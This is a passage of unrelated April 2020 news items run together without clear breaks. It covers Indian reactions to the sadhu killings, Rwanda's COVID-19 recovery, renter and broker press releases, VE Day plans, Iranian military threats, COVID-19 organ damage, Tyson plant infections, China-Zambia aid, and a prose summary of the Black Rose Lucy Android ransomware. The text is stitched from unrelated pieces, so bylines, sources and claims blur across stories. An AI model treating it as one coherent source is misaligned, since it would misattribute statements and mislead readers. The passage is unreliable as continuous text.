in Palghar. "Uddhav ji said when such incidents happen, we should refrain from indulging in politics and unitedly work to punish the culprits," Shiv Sena leader Sanjay Raut said. In his own tweet, Raut called the Bulandshahr incident terrible and said it should not be turned communal the way they tried to make Palghar. Congress general secretary Priyanka Gandhi Vadra said there should be through probe into the killing of the sadhus in Bulandshahr and nobody should politicise such incidents. Congress spokesperson Randeep Surjewala also reminded the Bharatiya Janata Party about Palghar. "The BJP was trying to give a political twist to the killing of two priests in Palghar. We demand that there should be no politics on the killing of priests in Bulandshahr," he said. Samajwadi Party president Akhilesh Yadav called the Bulandshahr murders extremely condemnable and tragic. Instead of politicising such murders, there is a need to look into the criminal motive or the root cause of such violent mentality, he tweeted. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Source: Xinhua| 2020-04-28 14:08:12|Editor: huaxia Video Player Close KIGALI, April 27 (Xinhua) -- Rwanda is trying to mobilize resources to revive the economy from the impact of the COVID-19 epidemic that has put economic activities in the country at a standstill, Rwandan President Paul Kagame said here Monday. "Our economy has been hit already and we are looking at mobilizing resources to inject into our economic system so that it returns to normal," Kagame told reporters at a virtual press conference. The projected economic growth for this year has gone down to an estimate of around 3.5 percent, according to the president. The government is coming up with "a comprehensive" plan, looking at every aspect of the economy and prioritizing the social and economic life of Rwandans as always, he said. "We want to see business activities in our country resume. We want to see how we can do business with the rest of the world while avoiding problems that could come along relating to COVID-19," he added. To revive the economy, the impact of COVID-19 on various sectors of the economy will have to be assessed, which will be a slow process. Measures will be taken in key sectors like exports, mining, tourism, investment, construction and manufacturing, according to him. The government is also looking at mobilizing resources externally in terms of borrowing to support economic recovery. African countries, including Rwanda, are negotiating with creditors to postpone debt payment for two years, he said. The president said that out of the 100 billion U.S. dollars that experts project Africa needs to mitigate the economic impact of COVID-19, a billion dollars would enable Rwanda to have a decent start. The Rwandan cabinet will meet this week to evaluate the steps taken by the country to contain the COVID-19 outbreak before a decision is made to ease the lockdown, he said. The remarks were made one day after Rwanda's national flag carrier RwandAir announced the reduction of employees' salaries as part of measures to reduce expenditure due to the impact of the ongoing COVID-19 pandemic. Rwanda has been placed under a lockdown since March 21. The country bans unnecessary movements and visits outside home and orders the closure of shops and markets except those selling food, medicine, fuel and other essentials. The Rwandan Health Ministry on Monday evening said the number of confirmed COVID-19 cases in the central African country reached 207, with 93 recoveries. Enditem GREENVILLE, S.C., April 28, 2020 /PRNewswire/ -- The national COVID-19 Resident Sentiment Report released today by Grace Hil l reveals that many more renters are unsure about their ability to pay May rent as the economic impact of COVID-19 is fully felt. But, property management has the ability to impact this through service and effective communications. "In partnership with Apartments.com , Grace Hill's Kingsley team analyzed survey responses from more than 25,000 active and prospective renters," said Grace Hill CEO Dru Armstrong. "We found it is essential now to understand residents' sentiment around their ability to pay rent, given the environment, and to better understand how we as an industry can partner with residents to meet their needs during these difficult times." While the vast majority of Americans paid rent in April , the portion of residents who said they would ask to defer their rent may be set to double, from 20 percent in April to 40 percent. Only 52 percent of respondents were confident they could pay May's rent in full. The remainder reported they would pay in part or they were simply uncertain, and 12 percent didn't believe they could pay May's rent at all. Nearly two-thirds of households said they experienced income loss, and 48 percent called the loss major or devastating. "We need to put ourselves in residents' shoes right now as we make critical decisions," said Armstrong. "If you see management cutting employees who clean pedestrian paths, fix lights and caulk windows, you may ask where your rent payment will go in May, if not to help those people do their work. Communications are more successful when they are humanized." The ability to meet rent payments was predictably linked to factors like income, being able to do work virtually as well as direct financial impacts of the economic slowdown. But nearly all residents reported increased confidence in meeting May rent payments if they also reported property management was doing a good or excellent job in delivering services and communicating regarding COVID-19. Activities that were less directly connected to preserving normalcy, like sponsoring virtual meetups and events, had less impact. "Kingsley has been benchmarking resident sentiment for more than two decades," said Kingsley VP for Product Development AJ Rao. "We have consistently found that the multifamily operators that maintain a commitment to providing a high level of customer service are rewarded with resident loyalty, through good times and in times of crisis. The COVID-19 Resident Sentiment Report's findings are no different, but they do suggest resident expectations are even higher in the current crisis environment." Beyond the concrete metric of rent payment, the research also showed that property owners and managers need to maintain a high level of service delivery, which correlates to residents' willingness to recommend their property. The data suggests that not only is short term financial performance influenced by how services are delivered and how they are communicated, but long term property brand equity is also on the line right now. As the survey uncovered, residents and property management teams are pivoting to a new normal, in terms of illness prevention, cleanliness and sanitation, virtual leasing and work, timely, empathetic communication amongst other factors. "Separate analysis of Kingsley survey clients has found they are maintaining resident satisfaction levels that exceed the national average in this COVID-19 report," said Rao. "The strongest recommendation we can make to the readers of this report is to boldly seek feedback from your residents and maintain high service delivery standards." "We have been partnering with real estate clients for over two decades to help them close their talent performance loop, through up to date policies, training, assessments and surveys via online tools and resources," said Grace Hill Executive Vice President Kendall Pretzer. "Partnership is key to understanding the key insights the pandemic has surfaced and Grace Hill invites stakeholders to reach out at [email protected] to share best practices and ask questions." Concise training for workplace illness prevention and bloodborne pathogens are available along with training and refreshers for expanding and shoring up customer relationships and virtual leasing skills. Virtual tools for teams to leverage as they move more work online can be further leveraged. Assessing the specific dynamics of the COVID-19 pandemic in an apartment community - through pulse surveys for instance - and delivering fact-based updates and solutions derived from the guidance of authorities makes a difference. Additionally, Grace Hill has launched the COVID-19 Better Together Webinar Series , in partnership with NAA, and it's COVID-19 Resource Center with free resources for the industry. This report's data also revealed actionable points on virtual apartment tours, confusion regarding CARES Act eviction restrictions and other critical points. About Grace Hill Grace Hill helps companies managing multifamily residential properties reduce operating risk and increase property performance with industry-leading policy, training and assessment solutions that develop, retain, and build top talent. Its advanced technology-enabled solutions are bolstered by years of multifamily experience, in-depth service-level expertise, outstanding customer support, as well as a partnership with the National Apartment Association Education Institute (NAAEI). Today, more than 1,600 companies covering a workforce of more than 500,000 people rely on talent performance solutions from Grace Hill. Grace Hill includes Kingsley Associates. Kingsley Associates' comprehensive suite of research and benchmarking tools assess firm performance and competitive position based on direct feedback from key stakeholders. Kingsley's primary services include resident and tenant surveys, employee engagement studies, client and investor surveys, and peer benchmarking programs. In response to the need for performance-based benchmarks, Kingsley Associates developed the Kingsley Index, which is now the largest and most comprehensive benchmarking database of customer satisfaction metrics available to the real estate industry. Kingsley Associates also maintains partnerships with the Building Owners and Managers Association (BOMA), National Multifamily Housing Council (NMHC), Institutional Real Estate Inc. (IREI), and the Global Real Estate Sustainability Benchmark (GRESB). Contact: Christopher Gale, 203-570-4681, [email protected] SOURCE Grace Hill Related Links https://gracehill.com Advertisement The Queen will address the nation to mark the 75th anniversary of VE Day on an extraordinary day of virtual commemorations. As part of the revised plans to mark the occasion during lockdown announced today, Her Majesty's words will be broadcast on May 8 on BBC One at 9pm. That was the exact moment her father King George VI gave a radio address in 1945, broadcast from bomb-scarred Buckingham Palace, in which he asked the nation to join him in giving thanks 'for a great deliverance' as the war in Europe had ended. The message will be recorded at Windsor Castle under the same conditions as the Queen's national broadcast earlier this month - with a lone cameraman in protective gear standing more than two metres away, a royal source said. Her Majesty Queen Elizabeth II will address the nation at 9pm on May 8 to mark the 75th anniversary of VE Day. She is pictured receiving an honorary degree on 10 July 1946 in London Then Princess Elizabeth is pictured at the wheel of an army vehicle while serving in the Auxiliary Territorial Service during the Second World War on January 1 1945 - the year the Second World War ended Huge crowds are seen at Trafalgar Square in London to celebrate VE (Victory in Europe) Day, which marked the end of the Second World War in Europe on May 8 1945 On that occasion, the Queen spoke of how the 'painful sense of separation from their loved ones' that social distancing was causing for people reminded her of the experience child evacuees had during the Second World War. The Queen's address will be broadacast during a show called The People's Celebration starting at 8pm and featuring stars including Katherine Jenkins performing versions well-known songs from the 30s and 40s as well as reminiscences from the wartime generation. Her Majesty's message will be followed by a national singalong of Dame Vera Lynn's We'll Meet Again. The public will be encouraged to open their doors and join in with this moment of celebration. The Prince of Wales will read an extract from King George VI's diary from May 8, 1945 which describes the day including The Royal Family's iconic Buckingham Palace balcony appearances. Members of the Royal Family and Boris Johnson will take part in a series of video calls with Second World War veterans and those who served on the Home Front, it was also announced by the government today(wed). Residents in the East End of London are pictured celebrating together on May 8 1945 when Britain marked the end of war in Europe The Queen's father King George VI and the Queen Mother are pictured standing inside a bomb-damaged Buckingham Palace The official commemorations will begin at 11am with a national moment of remembrance and a two minute silence as the public are called on to mark the historic occasion at home. As the Daily Mail announced on Saturday, we are playing our part too by sending a Spitfire across a great swathe of the country in a bid to pay tribute to the heroes of 75 years ago - and to the heroes of today who are in the frontline of the fight against coronavirus. To allow the awe-inspiring aircraft to soar into the skies, Transport Secretary Grant Shapps has given the Mail the only exemption for a civilian flypast on VE Day. It was the Mail - supported by Dame Vera herself - that came up with the idea for the singalong of We'll Meet Again as part of the BBC's VE Day coverage. The idea was met with the approval of the Government and veterans' organisations. Ahead of the 75th anniversary, the Government had declared a special Bank Holiday in order to recreate that VE Day excitement with a series of major gatherings, including a service with the Queen at Westminster Abbey, march pasts down the Mall and street parties. King George VI is pictured waving from the balcony of Buckingham Palace alongside his wife, the Queen mother, now-Queen Elizabeth and her sister Margaret on May 8 1945 That all had to be changed because of coronavirus outbreak and the revised plans announced today(wed) allowing the public to remember and give also include: As part of the BBC's special programming, extracts from Sir Winston Churchill's victory speech in which he announced the end of the war in Europe and spoke of 'the toil and efforts that lie ahead' will recreate the moment peace in Europe was announced 75 years ago at 3pm. The Archbishop of Canterbury Justin Welby will record a special reflection and moment of prayer for VE Day. NHS Volunteer Responders will be deployed to give a number of Second World War veterans a call and provide an opportunity to share their stories. The Department for Digital, Culture, Media and Sport has produced a template pack so that the public can hold a 1940s style afternoon tea party at home complete with homemade VE Day bunting and 1945 period recipes including spam hash and eggless fruit cake. Culture Secretary Oliver Dowden said: 'In these difficult times, acts of remembrance are even more poignant.' After the two minutes' silence, the Royal British Legion is hosting a VE Day 75 livestream, sharing stories and memories from those who served and sacrificed during the Second World War, and recognising the difficulties people are experiencing today. The Queen's VE anniversary message will be recorded at Windsor Castle under the same conditions as the Queen's national broadcast earlier this month (pictured) - with a lone cameraman in protective gear standing more than two metres away, a royal source said The Legion's Assistant Director of Commemorative Events Bob Gamble said: 'Now more than ever it is important to unite in recognition of people's service to the nation, just as communities did 75 years ago. 'There is no right or wrong way to take part in the silence at 11am, some people may wish to stand at their windows or step outside their front door, but we hope that individuals and families across the UK will embrace the opportunity to share in a national moment of reflection.' The WRAC Association is also asking female veterans to join in a virtual singalong via a specially arranged Zoom Call to We'll Meet Again accompanied by the Yorkshire Military Band. The National Museum of the Royal Navy, National Army Museum and Royal Air Force Museum will host their first tri-service celebration with a Virtual VE Day 75 Festival May 7 to May 9 with discussions and events broadcast online. Genealogy company Ancestry is also working alongside the UK government to help the nation commemorate VE Day from their homes. To mark the 75th anniversary it is offering people the chance to browse all UK historical records on its website for free from May 4 to May 10 so they can discover more about their family's involvement in the Second World War. General Amir Ali Hajizadeh, the head of the Revolutionary Guard's aerospace division, speaks at Tehran's Islamic Revolution and Holy Defence museum, during the unveiling of an exhibition of what Iran says are U.S. and other drones captured in its territory, in the capital Tehran on Sept. 21, 2019. (Atta Kenare/AFP/Getty Images) Iran Planned to Hit 400 Targets If US Had Attacked in January, General Says A top Iranian general revealed a plan to strike 400 U.S. targets if the United States had responded to a January missile attack on an Iraq airbase. The day we attacked Ain al-Asad, we thought the U.S. forces would respond after 20 minutes, so we were ready to attack 400 American targets, Islamic Revolutionary Guards Corps Gen. Amir Ali Hajizadeh told Iranian state media Mehr News last week. Our plan was to attack 400 U.S. targets if they responded, he said. However, he didnt reveal any of the targets. On Jan. 7, Iran launched about two dozen rockets at the al-Asad airbase in Iraq, causing minor injuries to more than 100 American troops housed there. Iran later confirmed it was behind the attack, although the regime two weeks later admitted it fired two missiles and downed a Ukrainian Airlines plane, killing more than 150 people, on the same night it launched the barrage of missiles into Iraq. The regime said the missiles were launched after the United States killed Quds Force commander Qassem Soleimani near Baghdad. Top Pentagon officials, describing him as a terrorist, said he was behind a number of recent attacks on U.S. assets in the region and was plotting new ones. Days before that, Iranian-backed militia groups attempted to storm the U.S. Embassy in Baghdad and attempted to light it on fire. By assassinating Lt. Gen. Soleimani, [the United States] wanted to show that they killed a symbol of Resistance, and they were sure that Iran would not respond to their attack, Hajizadeh also told state media. But we responded to them by an attack on Ain al-Asad base in Iraq. Since Januarys attack, Iran-backed Iraqi militia groups have sporadically fired rockets at military bases in Iraq housing U.S. troops. I have to say that the obstacles have been removed from our path and from now on we will move faster, Haijzadeh noted. Another Iranian commander, Maj. Gen. Hossein Salami of the Revolutionary Guards, threatened to attack any U.S. warship that it believes is a threat to an Iranian vessel or its military. We have also ordered our military units at sea that if a vessel or military unit of the navy of the U.S.s terrorist military seeks to threaten the security of our civilian ships or combat vessels, they should target that (enemy) vessel or military unit, he told state-run media last week, adding that we are fully determined and serious in defending our national security, maritime borders, maritime interests, maritime security, and security of our forces at sea. COVID-19 damage (yellow) on lungs of 59-year-old man who died at George Washington University Hospital. 3D model based on computerized tomography scans, courtesy George Washington Hospital and Surgical Theater How exactly is coronavirus killing us? This New York Magazine piece on what we do and do not yet know about the novel coronavirus is really good. It's weird seeing everyone compare COVID-19 to the flu, when there are reports coming in of patients dying of exploding hearts and glitching cytokines. Stay the fuck at home, please. Follow the guidance of public health experts, not politicians and economists and nutjobs like Donald Trump. Wear masks, use gloves, wash hands. This thing is not a joke. The invader's impact SARS-CoV-2 lands in the lungs and can do deep damage there. But the virus, or the body's response to it, can injure many other organs. #COVID19 https://t.co/3K96LiJrRP pic.twitter.com/PoR71YjaX8 Writes David Wallace-Wells at New York mag's Intelligencer: On April 15, the Washington Post reported that, in New York and Wuhan, between 14 and 30 percent of ICU patients had lost kidney function, requiring dialysis. New York hospitals were treating so much kidney failure "they need more personnel who can perform dialysis and have issued an urgent call for volunteers from other parts of the country. They also are running dangerously short of the sterile fluids used to deliver that therapy." The result, the Post said, was rationed care: patients needing 24-hour support getting considerably less. On Saturday, the paper reported that "[y]oung and middle-aged people, barely sick with COVID-19, are dying from strokes." Many of the patients described didn't even know they were sick: The patient's chart appeared unremarkable at first glance. He took no medications and had no history of chronic conditions. He had been feeling fine, hanging out at home during the lockdown like the rest of the country, when suddenly, he had trouble talking and moving the right side of his body. Imaging showed a large blockage on the left side of his head. Oxley gasped when he got to the patient's age and covid-19 status: 44, positive. The man was among several recent stroke patients in their 30s to 40s who were all infected with the coronavirus. The median age for that type of severe stroke is 74. But the patient's age wasn't the only abnormality of the case: As Oxley, an interventional neurologist, began the procedure to remove the clot, he observed something he had never seen before. On the monitors, the brain typically shows up as a tangle of black squiggles "like a can of spaghetti," he said that provide a map of blood vessels. A clot shows up as a blank spot. As he used a needlelike device to pull out the clot, he saw new clots forming in real-time around it. "This is crazy," he remembers telling his boss. These strokes, several doctors who spoke to the Post theorized, could explain the high number of patients dying at home four times the usual rate in New York, many or most of them, perhaps, dying quite suddenly. According to the Brigham and Women's guidelines, only 53 percent of COVID-19 patients have died from respiratory failure alone. It's not unheard of, of course, for a disease to express itself in complicated or hard-to-parse ways, attacking or undermining the functioning of a variety of organs. And it's common, as researchers and doctors scramble to map the shape of a new disease, for their understanding to evolve quite quickly. But the degree to which doctors and scientists are, still, feeling their way, as though blindfolded, toward a true picture of the disease cautions against any sense that things have stabilized, given that our knowledge of the disease hasn't even stabilized. Perhaps more importantly, it's a reminder that the coronavirus pandemic is not just a public-health crisis but a scientific one as well. And that as deep as it may feel we are into the coronavirus, with tens of thousands dead and literally billions in precautionary lockdown, we are still in the very early stages, when each new finding seems as likely to cloud or complicate our understanding of the coronavirus as it is to clarify it. Instead, confidence gives way to uncertainty. New Delhi, April 28 : The Vishwa Hindu Parishad will offer 'shraddhanjali' or last respects on Tuesday evening to the deceased sants who lost their lives in Shiv Sena ruled Maharashtra's Palghar. However it remained mum on the murder of two seers in BJP-ruled Uttar Pradesh's Bulandshahr district. VHP Secretary General Milind Parande will offer 'shradhanjali' by lighting a lamp at 7 p.m. at the VHP headquarters in Delhi's RK Puram. A message from the VHP says this is "to pay tribute to the immortal souls of the revered saints and their driver". Other senior members of the organization will also take part in the event, which is claimed to be brief and keeping social distancing norms in mind. Meanwhile, the Hindu Dharma Acharya Sabha and the VHP have jointly given a call for a 'Satvik Protest' on Tuesday in remembrance of the victims of the Palghar lynching. The two organisations have requested people to skip a meal on April 28 apart from lighting a candle. A poster too is being issued by two prominent seers -- Kalpavriksha Giri Maharaj and Sushil Giri Maharaj. It explicitly mentions that the "silent campaign" is intended to be against the Palghar lynching. The senior BJP leadership including its National General Secretary Ram Madhav and all powerful National General Secretary (Organization) BL Santosh too tweeted saying they are taking part in the "Silent Campaign". However, the VHP has been silent so far on the killings of sants in Uttar Pradesh's Buladshhar. While both the Maharashtra and Uttar Pradesh administrations have insisted that the killings in the two states have no communal undertones, the VHP seems to believe just one. The Palghar lynching is reasoned to be the effect of identity confusion where the villagers thought the sants were thieves. Meanwhile, SSP Bulandshahr Santosh Singh said that one person has been detained. He had stolen an article from the two sadhus and the latter had scolded him. The Bulandshahr Police has clarified that it appears to be a case of revenge where the accused was in an inebriated condition. When contacted, VHP Spokesperson Vinod Bansal said he would "tweet" his comments about the Bulandshahr murders, but hasn't done so yet. There hasn't been any official statement on this murder from the VHP, as yet, either. Meanwhile, Shiv Sena MP Sanjay Raut said: "Terrible ! Killing of two saints , sadhus at a temple in bulandshahr, UP ; but I appeal to all concerned to not make it communal the way they tried to make Palghar, Maharashtra incident." Its Rajya Sabha MP Priyanka Chaturvedi took potshots at "keyboard warriors". The Shiv Sena is in power in Maharashtra along with the Congress and the NCP. A Dauphin County caregiver was arrested after she assaulted her patient in a wheelchair last month, Pennsylvania State Police said. Authorities said Samira Randolph, 39, of Steelton, on March 8 made threats toward an 86-year-old woman and hit her twice in the head at a Middle Paxton Township home. Several of the victims items were discovered to be stolen after the assault, police said. State police later filed charges against Randolph. READ MORE: Woman climbs through window, bites man during Pa. custody dispute that led to charges against 3 people: police Principal of failing high school deserves conviction in PSSA test cheating scandal: Pa. court Cops hunch didnt justify traffic stop that led to Mechanicsburg womans DUI conviction, Pa. court says U.N. Secretary-General Antonio Guterres warned Monday that extremist groups are taking advantage of COVID-19 lock downs to intensify social media efforts to spread hatred and recruit young people who are spending more time online. Even before the coronavirus pandemic, he said, one of every five young people was not getting an education, training or working, and one of every four was affected by violence or conflict. And he lamented that every year, 12 million girls become mothers when they are still children. Guterres told a U.N. Security Council meeting on youth, peace and security that these frustrations and, frankly, failures to address them by those in power today, fuel declining confidence in political establishments and institutions. When such a cycle takes hold, it is all too easy for extremist groups to exploit the anger and despair, and the risk of radicalization climbs, he said. But despite these challenges, the U.N. chief said young people are still finding ways to engage, support each other, and to demand and drive change including in the fight against COVID-19. Guterres pointed to young people in Colombia, Ghana, Iraq and several other countries joining humanitarian workers in delivering supplies to front-line health workers and people in need, keeping communications open within communities while maintaining social distancing. He said young people are also supporting his March 23 call for a cease-fire in all conflicts in the world. Jayathma Wickramanayake, the secretary-general's envoy on youth, criticized the media for focusing on the small minority of young people who disregarded guildelines and put people at risk by going to beaches, pubs and parties and for completely sidelining the thousands of young people who were already fighting in the front lines of the crisis. She pointed to young people in Kenya and Cameroon who immediately adopted their peacebuilding organizations and networks to help their communities face COVID-19, the many young health workers and medical students attending to coronavirus patients in China and Italy, the Scouts, Girl Guides and Red Cross youth volunteers running environment and hand-washing campaigns in Jordan and elsewhere, and young people making face masks and fundraising in the United States. Wickramanayake dedicated her speech to all the young people who are putting their communities ahead of themselves within war zones, within refugee camps, within favelas and within settlements, showcasing grit and leadership that sometimes we even fail to see in our own political leaders. Secretary-General Gutteres and many Security Council ambassadors stressed the impact of COVID-19 on young people, from a suspension of their education to lost jobs, family stress, mental health issues and other hardships. According to the U.N. chief's recent report to the council, there are 1.85 billion young women and men aged 10 to 24 in the world in 2020, 90 percent of them living in developing countries and many in conflict areas. Young people are a huge source of new ideas, solutions and innovation, Estonia's U.N. Ambassador Sven Jrgenson said. During the current pandemic, however, they can be among the greatest victims. He cited estimates that an additional 42 million to 66 million children could fall into extreme poverty as a result of COVID-19 and an analysis from the U.N. Educational, Scientific and Cultural Organization showing that 91 percent of the world's students are affected by school closures, and more than 1.5 billion students in 191 countries have trouble continuing their studies normally. This will lead to increased educational gaps, serious damage to the prospects for a better future and can potentially lay seeds of radicalization among young people, constituting a threat to peace and security, Jrgenson warned. U.S. Ambassador Kelly Craft added that the more than 400 million young people directly affected by violence or conflict are most vulnerable. Now, the imperative to protect them is even greater: on top of social, education, and health systems that (are) already weakened by conflict or disaster, the COVID-19 pandemic is triggering multiple, interlinked crises impacting hundreds of millions of young people, she warned. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) PR-Inside.com: 2020-04-28 18:01:01 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 777 Words ACCESSWIRE News Network888.952.4446 HOLBROOK, NY / ACCESSWIRE / April 28, 2020 / American Portfolios Financial Services, Inc. (AP)-a privately-held, independent broker/dealer which provides business solutions and support to financial advisors throughout the country-recently launched its Virtual 2020 Connections Tour, a weekly series of Web-hosted events featuring prominent leaders from within the financial services industry."Despite the many changes that coronavirus (COVID-19) has brought about, AP resolved to assure its valued family of affiliated investment professionals that it remains steadfast in its commitment to offer the same-if not, even better-quality and level of service they have come to expect over the years," states Vice President of New Business Development and Advisor Relations David Molter. "Upholding social distancing guidelines in response to the COVID-19 pandemic, we cancelled our in-person events and put together a robust weekly meeting schedule, providing affiliated colleagues with a wide array of value-added virtual presentations." Deemed an essential business by the Department of Homeland Security, AP took swift measures to ensure the safety of its staff and affiliated colleagues, while also ensuring that broker/dealer operations continued to function normally, albeit in a remote working environment. While AP has heretofore held many successful in-person Connections Tours in the past, the firm is already receiving positive and enthusiastic feedback for its transition to a virtual tour. Webinars are held daily, Monday through Friday, hosted by AP's new business development team and supported by key staff, with appearances by the firm's valuable focus partners and fellow investment professionals, including members of the American Portfolios Advisor Council (APAC) peer advocacy group.Featuring topics that are most relevant to financial advisors and their businesses presently and moving forward, the weekly webinars included in the Virtual 2020 Connections Tour comprise: 1) the business continuity webinar covering topics around the state of the firm and markets during the COVID-19 pandemic, what resources are in place to ensure operational functionality and service quality within the firm and the branches of investment professionals, and other items in response to incoming information and feedback; 2) the sales ideas webinar, featuring Vice President of National Sales Ken Aulbach, along with valued focus partners, who engage in discussions on the markets, sales ideas and products; 3) the technology trainings webinar, featuring Director of Practice Management Corey Brodsky and other home office staff, which touches upon technology offerings that help advisors stay efficient while working remotely; 4) the practice management webinar-also with featured speaker Brodsky and business partners-providing updates on industry changes, marketing ideas and other practice management tools; and the APAC peer-to-peer webinar providing an interactive exchange among fellow AP colleagues around what they are doing to stay operational and efficient, with information relevant to specific practices ranging from sole proprietors, teams/ensembles and alliances to multi-generational structures and partnerships.About UsHeadquartered in Holbrook, N.Y., American Portfolios Financial Services, Inc. (APFS) is a full-service, independent broker/dealer and member firm of FINRA and SIPC, offering a complete range of financial services, including personal financial and retirement planning, securities trading, mutual funds, access to investment research, long-term care planning, insurance products and tax-free investing. Fee-based asset management is offered through its sister subsidiary, American Portfolios Advisors, Inc., (APA), an SEC Registered Investment Advisor. Both entities, along with technology entity American Portfolios Advisory Solutions, LLC, collectively reside under the legal entity American Portfolios Holdings, Inc. (APH). Full-service securities brokerage is available through a clearing firm relationship with Pershing, LLC, a BNY Mellon firm, the securities of which are held on a fully disclosed basis. The company currently supports 839 independent investment professionals-inclusive of registered assistants, along with non-registered associates, located in 394 branch locations throughout the nation. It was named Broker-Dealer of the Year* (Division III) by Investment Advisor magazine for five consecutive years (2015-2019); a wealthmanagement.com 2019 Industry Award Finalist in the category of Enhanced Customer Service Support**; one of the Best Companies to Work for in the state of New York for five consecutive years (2016-2020) by the New York State Society for Human Resources Management (NYS-SHRM) and the Best Companies Group (BCG); and one of the Top Long Island Workplaces for 2018 and 2019 by Newsday.* Based on a poll of registered representatives conducted by Investment Advisor magazine. Broker/dealers rated highest by their representatives are awarded "Broker/Dealer (B/D) of the Year." ** Wealthmanagement.com Industry Award finalists are selected by a panel of independent judges made up of subject matter experts in the industry. Award is based on support provided to AP's affiliated people and does not reflect public customers nor their account performance.ContactsMelissa Grappone4250 VETERANS MEMORIAL HWY. | SUITE 420E HOLBROOK, N.Y. 11741VP of Mktg. & Corp. Comm.Work: 631.439.4600, ext. 108mgrappone@ americanportfolios.com SOURCE: American Portfolios Financial Services, Inc. WATERLOO Around 44% of workers at Tyson Fresh Meats have so far tested positive for coronavirus, a number calculated by statements made by Black Hawk County officials Monday. A total of 1,346 cases of coronavirus amounting to 1% of Black Hawk Countys total population were reported by local health officials Monday. Our region of the state is continuing to see an increase in illness, said Health Director Nafissa Cisse Egbuonye. COVID has had a huge impact on the community. Egbuonye wouldnt say how many cases came from the closed Tyson plant in Waterloo, where employees were tested en masse over the weekend. Not all results have come back yet, officials noted. But Egbuonye said Monday 90% of the countys cases continue to be attributable to Tyson, and Sheriff Tony Thompson noted the plant employed around 2,700 workers, meaning around 1,211 of the countys cases were tied to the meatpacking plant, or around 44% of all Tyson workers. I hear corporate Tyson talking about how this community COVID spread is impacting their operations, and it makes me want to jump up out of my chair to say, Their operations have negatively impacted the COVID spread in my community, Thompson said. We should not be sitting where were sitting today. Of the total cases, 261 people, or 19.4%, have since recovered, and 43 people, or 3.2%, are hospitalized. The county has had 11 deaths. Hospital administrators said more health care workers are testing positive for the virus, though officials wouldnt say if any had died. Its really becoming a scary situation, said Dr. Dan Glascock, medical director at UnityPoint Health-Allen Hospital. Because of the exponential increase in cases, as well as a lack of personal protective equipment and testing capabilities, Black Hawk Countys hospitals and clinics arent ready to begin scheduling nonessential services and procedures, Dr. Matthew Sojka, chief medical officer at MercyOne, said. Instead, they are steeling themselves for the worst, including many health care workers with spouses and family members who worked at Tyson. We dont know if another surge is going to occur, Sojka said. Im very nervous about that. Egbuonye announced the county has its first official coronavirus outbreak at a long-term care facility, Harmony House in Waterloo, where both care providers and patients had tested positive. Officials said they would provide more details later. At Western Home Communities, which has had four employees and one resident test positive, CEO Kris Hansen said two of those four employees had a direct tie to Tyson. He also expressed concern about the conflicting messages from the federal and state levels as compared with local officials. Reynolds announced Monday she is allowing most businesses in the majority of Iowa counties to reopen at 50% capacity Friday and allowing churches to begin holding services statewide. Asymptomatic carriers of the virus passing it to health care workers could have dire consequences for places like Western Home where large elderly populations live, Hansen said. We as a community have to continue to do a better job than we have, he said. If you stay home, you will save lives and prevent our caregivers from being exposed and unwittingly take it inside. Concerned about COVID-19? Sign up now to get the most recent coronavirus headlines and other important local and national news sent to your email inbox daily. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Source: Xinhua| 2020-04-28 20:42:57|Editor: huaxia Video Player Close LUSAKA, April 28 (Xinhua) -- China and Zambia on Tuesday signed an agreement for the supply of medical supplies to help the southern African nation in its COVID-19 fight. The agreement will see the Chinese government supplying various medical supplies in two batches. Li Jie, Chinese Ambassador to Zambia, said during the signing ceremony that China sympathizes with Zambia with what was happening and will provide support in such a difficult time. The Chinese envoy said when the pandemic broke out in China, Zambia was among the first countries that sent messages of support, which showed the cordial relationship between the two countries. He hoped that the support from the Chinese government as well as from Chinese enterprises toward the fight against COVID-19 will help Zambia in defeating the pandemic. Chitalu Chilufya, Zambia's Minister of Health thanked China for showing solidarity during the current fight against the pandemic. Zambia, he said, values the assistance China has been offering to Zambia in various sectors including the health sector. The country has reported 95 cases and three deaths. Enditem Ransomware Goes Mobile New Android Ransomware Fabricates Notes from FBI April 2020 by Check Point Researchers at Check Point discovered a new variant of Android malware called Black Rose Lucy. First discovered by Check Point in September 2018, Lucy is a Malware-as-a-Service dropper that originated in Russia, a threat that downloads and installs new threats with ransomware capabilities. When downloaded, the new variant encrypts files on the infected device and displays a ransom note in the browser window that claims an official message from the United States FBI. The ransom note accuses the victim of possessing pornographic content on their device, stating that the users details have been uploaded to the FBI Cyber Crime Departments Data Center, accompanied by a list of legal offenses that the user is accused of committing. To make the situation go away, the victim is instructed to pay a $500 USD fine via credit card, and not Bitcoin, which is the more typical manner of mobile ransomware payout. Check Point researchers collected 80 samples of the new Black Rose Lucy variant. The samples acquired disguised themselves as harmless-looking video player applications, leveraging Androids accessibility service to install their payload without any user interaction, creating an interesting self-protection mechanism. Lucy exploits an Achilles Heel in Android defences to slip inside Android devices, according to researchers. Lucys order of operations are as follows: 1. Lucy is downloaded and installed via social media and instant messenger as a video player application. 2. Lucy tricks the user to allow accessibility service by pretending to enable a bogus service, VSO - video streaming optimizer. 3. Lucy grants itself administrative privileges by exploiting the Android accessibility service which mimics a users screen clicks and can automate user interactions with the device 4. Lucy encrypts the files on the device, storing the encryption key in the shared preferences. 5. Lucy displays a ransom note fine from the FBI, demanding credit card info to pay it. After Lucy finishes encrypting the desired files on the device, and performs all the checks to verify that the files were encrypted successfully, Lucy displays a ransom note in the browser window. The ransom note pretends to be an official message from the US FBI and accuses the victim of possessing pornographic content on his device. As a result, all content on the device is encrypted and locked. In addition, the message states that the victims details are now uploaded to the FBI Cyber Crime Departments Data Center, accompanied by a list of legal offenses that the victim is accused of committing, and eventually instructing the victim to pay the $500 fine by providing credit-card information. Check Point Manager of Mobile Research, Aviran Hazum said: We are seeing an evolution in mobile ransomware: its becoming more sophisticated and efficient. Threat actors are learning fast, drawing from their experience of past campaigns, and the impersonation of a message from the FBI is a clear scare tactic. Sooner or later, we anticipate the mobile world will experience a major destructive ransomware attack. Its a scary but very real possibility, and we urge everyone to think twice before clicking on anything to accept or enable functions while browsing videos on social media. To stay safe, users should install a security solution on their devices and only use official app stores. And as always, they should keep their devices OS and apps up to date at all times. The pound inched higher on Tuesday as investors turned their attention to U.S. Federal Reserve and European Central Bank meetings this week at which officials are expected to provide further stimulus to their economies to fight the coronavirus. Sterling has been very closely correlated with riskier assets such as stocks and when investors's risk appetite increases, the pound 